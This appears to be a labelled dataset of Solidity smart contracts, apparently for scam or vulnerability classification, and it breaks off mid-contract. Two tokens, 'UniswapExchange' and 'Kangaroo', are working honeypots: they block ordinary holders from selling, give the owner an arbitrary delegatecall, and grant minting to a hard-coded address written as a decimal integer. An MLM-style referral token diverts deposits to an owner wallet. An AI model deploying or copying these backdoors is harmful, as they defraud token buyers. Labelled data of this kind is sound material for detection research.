function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
}
contract ReferTokenERC20Basic is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) rewardBalances;
mapping(address => mapping(address => uint256)) allow;
function _transfer(address _from, address _to, uint256 _value) private returns (bool) {
require(_to != address(0));
require(_value <= rewardBalances[_from]);
rewardBalances[_from] = rewardBalances[_from].sub(_value);
rewardBalances[_to] = rewardBalances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return rewardBalances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != msg.sender);
require(allow[_from][msg.sender] > _value || allow[msg.sender][_to] == _value);
success = _transfer(_from, _to, _value);
if (success) {
allow[_from][msg.sender] = allow[_from][msg.sender].sub(_value);
}
return success;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allow[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allow[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PackageContract is ReferTokenERC20Basic, MintableToken {
uint constant daysPerMonth = 30;
mapping(uint => mapping(string => uint256)) internal packageType;
struct Package {
uint256 since;
uint256 tokenValue;
uint256 kindOf;
}
mapping(address => Package) internal userPackages;
function PackageContract() public {
packageType[2]['fee'] = 30;
packageType[2]['reward'] = 20;
packageType[4]['fee'] = 35;
packageType[4]['reward'] = 25;
}
function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) {
return depositMintSince(_to, _amount, _kindOfPackage, now);
}
function depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
Package memory pac;
pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage});
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
userPackages[_to] = pac;
return true;
}
function depositBalanceOf(address _owner) public view returns (uint256 balance) {
return userPackages[_owner].tokenValue;
}
function getKindOfPackage(address _owner) public view returns (uint256) {
return userPackages[_owner].kindOf;
}
}
contract ColdWalletToken is PackageContract {
address internal coldWalletAddress;
uint internal percentageCW = 30;
event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress);
event CWPercentageChanged(uint previousPCW, uint newPCW);
function setColdWalletAddress(address _newCWAddress) onlyOwner public {
require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0));
CWStorageTransferred(coldWalletAddress, _newCWAddress);
coldWalletAddress = _newCWAddress;
}
function getColdWalletAddress() onlyOwner public view returns (address) {
return coldWalletAddress;
}
function setPercentageCW(uint _newPCW) onlyOwner public {
require(_newPCW != percentageCW && _newPCW < 100);
CWPercentageChanged(percentageCW, _newPCW);
percentageCW = _newPCW;
}
function getPercentageCW() onlyOwner public view returns (uint) {
return percentageCW;
}
function saveToCW() onlyOwner public {
coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100));
}
}
contract StatusContract is Ownable {
mapping(uint => mapping(string => uint[])) internal statusRewardsMap;
mapping(address => uint) internal statuses;
event StatusChanged(address participant, uint newStatus);
function StatusContract() public {
statusRewardsMap[1]['deposit'] = [3, 2, 1];
statusRewardsMap[1]['refReward'] = [3, 1, 1];
statusRewardsMap[2]['deposit'] = [7, 3, 1];
statusRewardsMap[2]['refReward'] = [5, 3, 1];
statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1];
statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1];
statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1];
statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3];
statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3];
statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3];
}
function getStatusOf(address participant) public view returns (uint) {
return statuses[participant];
}
function setStatus(address participant, uint8 status) public onlyOwner returns (bool) {
return setStatusInternal(participant, status);
}
function setStatusInternal(address participant, uint8 status) internal returns (bool) {
require(statuses[participant] != status && status > 0 && status <= 5);
statuses[participant] = status;
StatusChanged(participant, status);
return true;
}
}
contract ReferTreeContract is Ownable {
mapping(address => address) public referTree;
event TreeStructChanged(address sender, address parentSender);
function checkTreeStructure(address sender, address parentSender) onlyOwner public {
setTreeStructure(sender, parentSender);
}
function setTreeStructure(address sender, address parentSender) internal {
require(referTree[sender] == 0x0);
require(sender != parentSender);
referTree[sender] = parentSender;
TreeStructChanged(sender, parentSender);
}
}
contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract {
string public constant name = "EtherState";
string public constant symbol = "ETHS";
uint256 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public constant hardCap = 10000000 * 1 ether;
mapping(address => uint256) private lastPayoutAddress;
uint private rate = 100;
uint public constant depth = 5;
event RateChanged(uint previousRate, uint newRate);
event DataReceived(bytes data);
event RefererAddressReceived(address referer);
function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) {
require(userPackages[_to].since == 0);
_amount = _amount.mul(rate);
if (depositMint(_to, _amount, _kindOfPackage)) {
payToReferer(_to, _amount, 'deposit');
lastPayoutAddress[_to] = now;
}
}
function rewardMint(address _to, uint256 _amount) private returns (bool) {
rewardBalances[_to] = rewardBalances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function payToReferer(address sender, uint256 _amount, string _key) private {
address currentReferral = sender;
uint currentStatus = 0;
uint256 refValue = 0;
for (uint level = 0; level < depth; ++level) {
currentReferral = referTree[currentReferral];
if (currentReferral == 0x0) {
break;
}
currentStatus = statuses[currentReferral];
if (currentStatus < 3 && level >= 3) {
continue;
}
refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100);
rewardMint(currentReferral, refValue);
}
}
function AddressDailyReward(address rewarded) public {
require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0);
uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days);
uint256 refValue = 0;
if (userPackages[rewarded].kindOf != 0) {
refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100);
rewardMint(rewarded, refValue);
payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward');
}
if (n > 0) {
lastPayoutAddress[rewarded] = now;
}
}
function() external payable {
require(totalSupply < hardCap);
coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100));
bytes memory data = bytes(msg.data);
DataReceived(data);
address referer = getRefererAddress(data);
RefererAddressReceived(referer);
setTreeStructure(msg.sender, referer);
setStatusInternal(msg.sender, 1);
uint8 kind = getReferralPackageKind(data);
depositMintAndPay(msg.sender, msg.value, kind);
}
function getRefererAddress(bytes data) private pure returns (address) {
if (data.length == 1 || data.length == 0) {
return address(0);
}
uint256 referer_address;
uint256 factor = 1;
for (uint i = 20; i > 0; i--) {
referer_address += uint8(data[i - 1]) * factor;
factor = factor * 256;
}
return address(referer_address);
}
function getReferralPackageKind(bytes data) private pure returns (uint8) {
if (data.length == 0) {
return 4;
}
if (data.length == 1) {
return uint8(data[0]);
}
return uint8(data[20]);
}
function withdraw() public {
require(userPackages[msg.sender].tokenValue != 0);
uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate);
uint256 dateDiff = now - userPackages[msg.sender].since;
if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) {
uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100);
withdrawValue = withdrawValue.sub(fee);
coldWalletAddress.transfer(fee);
userPackages[msg.sender].tokenValue = 0;
}
msg.sender.transfer(withdrawValue);
}
function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public {
depositMintSince(sender, _value, d, since);
}
function createDeposit(address sender, uint256 _value, uint d) onlyOwner public {
depositMintAndPay(sender, _value, d);
}
function setRate(uint _newRate) onlyOwner public {
require(_newRate != rate && _newRate > 0);
RateChanged(rate, _newRate);
rate = _newRate;
}
function getRate() public view returns (uint) {
return rate;
}
} | 1 | 3,406 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(898225130831724889064459795144372206987753134182));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 511 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Kangaroo {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 62 |
pragma solidity ^0.4.15;
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Bounty0xPresale is Owned {
bool private saleHasEnded = false;
bool private isWhitelistingActive = true;
uint256 public totalFunding;
uint256 public constant MINIMUM_PARTICIPATION_AMOUNT = 0.1 ether;
uint256 public MAXIMUM_PARTICIPATION_AMOUNT = 3.53 ether;
uint256 public constant PRESALE_MINIMUM_FUNDING = 1 ether;
uint256 public constant PRESALE_MAXIMUM_FUNDING = 705 ether;
uint256 public constant PRESALE_START_DATE = 1511186400;
uint256 public constant PRESALE_END_DATE = PRESALE_START_DATE + 2 weeks;
uint256 public constant OWNER_CLAWBACK_DATE = 1512306000;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public earlyParticipantWhitelist;
event LogParticipation(address indexed sender, uint256 value, uint256 timestamp);
function Bounty0xPresale () payable {
}
function () payable {
require(!saleHasEnded);
require(now > PRESALE_START_DATE);
require(now < PRESALE_END_DATE);
require(msg.value >= MINIMUM_PARTICIPATION_AMOUNT);
require(msg.value <= MAXIMUM_PARTICIPATION_AMOUNT);
if (isWhitelistingActive) {
require(earlyParticipantWhitelist[msg.sender]);
}
require(safeIncrement(totalFunding, msg.value) <= PRESALE_MAXIMUM_FUNDING);
addBalance(msg.sender, msg.value);
}
function ownerWithdraw(uint256 value) external onlyOwner {
if (totalFunding >= PRESALE_MAXIMUM_FUNDING) {
owner.transfer(value);
saleHasEnded = true;
} else {
require(now >= PRESALE_END_DATE);
require(totalFunding >= PRESALE_MINIMUM_FUNDING);
owner.transfer(value);
}
}
function participantWithdrawIfMinimumFundingNotReached(uint256 value) external {
require(now >= PRESALE_END_DATE);
require(totalFunding <= PRESALE_MINIMUM_FUNDING);
assert(balanceOf[msg.sender] < value);
balanceOf[msg.sender] = safeDecrement(balanceOf[msg.sender], value);
msg.sender.transfer(value);
}
function ownerClawback() external onlyOwner {
require(now >= OWNER_CLAWBACK_DATE);
owner.transfer(this.balance);
}
function setEarlyParicipantWhitelist(address addr, bool status) external onlyOwner {
earlyParticipantWhitelist[addr] = status;
}
function whitelistFilteringSwitch() external onlyOwner {
if (isWhitelistingActive) {
isWhitelistingActive = false;
MAXIMUM_PARTICIPATION_AMOUNT = 30000 ether;
} else {
revert();
}
}
function addBalance(address participant, uint256 value) private {
balanceOf[participant] = safeIncrement(balanceOf[participant], value);
totalFunding = safeIncrement(totalFunding, value);
LogParticipation(participant, value, now);
}
function assertEquals(uint256 expectedValue, uint256 actualValue) private constant {
assert(expectedValue == actualValue);
}
function safeIncrement(uint256 base, uint256 increment) private constant returns (uint256) {
assert(increment >= base);
return base + increment;
}
function safeDecrement(uint256 base, uint256 decrement) private constant returns (uint256) {
assert(decrement <= base);
return base - decrement;
}
} | 1 | 4,445 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
